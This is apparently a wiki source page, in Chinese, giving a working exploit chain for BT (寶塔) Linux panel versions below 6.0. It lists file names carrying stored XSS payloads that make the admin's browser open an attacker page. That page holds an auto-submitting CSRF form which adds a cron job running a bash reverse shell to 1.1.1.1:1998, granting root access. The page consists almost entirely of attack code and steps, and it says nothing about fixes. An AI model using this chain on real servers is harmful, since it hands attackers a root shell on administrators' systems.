View source for 寶塔linux面板 6.0 存儲型XSS Getshell漏洞

<languages />
<translate>
==漏洞影響==
</translate>
<translate>
寶塔Linux面板<6.0
</translate>

<translate>
==漏洞利用==
</translate>
<translate>
在web目錄下上傳一個文件名為<code><img src=x onerror="alert(1)"></code>的文件
</translate>
<translate>
寶塔後台瀏覽文件,觸發payload
</translate>

Get cookie:
<pre>
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://1.1.1.1:8888/crontab?action=AddCrontab" method="POST">
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="type" value="minute-n" />
      <input type="hidden" name="where1" value="5" />
      <input type="hidden" name="hour" value="" />
      <input type="hidden" name="minute" value="" />
      <input type="hidden" name="week" value="" />
      <input type="hidden" name="sType" value="toShell" />
      <input type="hidden" name="sBody" value="bash -i >& /dev/tcp/1.1.1.1/1998 0>&1" />
      <input type="hidden" name="sName" value="" />
      <input type="hidden" name="backupTo" value="localhost" />
      <input type="hidden" name="urladdress" value="" />
      <input type="hidden" name="save" value="" />
      <input type="hidden" name="sBody" value="bash -i >& /dev/tcp/1.1.1.1/1998 0>&1" />
      <input type="hidden" name="urladdress" value="" />
      <input type="submit" id="a" value="Submit request" />
    </form>
  </body>
  <script>
    document.getElementById('a').click()
</script>
</html>
</pre>

<translate>
修改poc中的ip地址,上傳到test.com中,當寶塔管理員訪問這個頁面以後,會自動添加反彈shell的計劃任務
</translate>

<translate>
新建三個文件,文件名分別為：
</translate>
<pre>
a<img src=x onerror="a=String.fromCharCode(47)">
b<img src=x onerror="b='.com'">
c<img src=x onerror="window.open(a+a+'test'+b)">
</pre>

<translate>
payload觸發以後會自動打開test.com網頁
</translate>

<translate>
將上一步CSRF的payload部署到test.com,管理員瀏覽文件的時候即可觸發,觸發後五分鐘會反彈shell（ROOT權限）
</translate>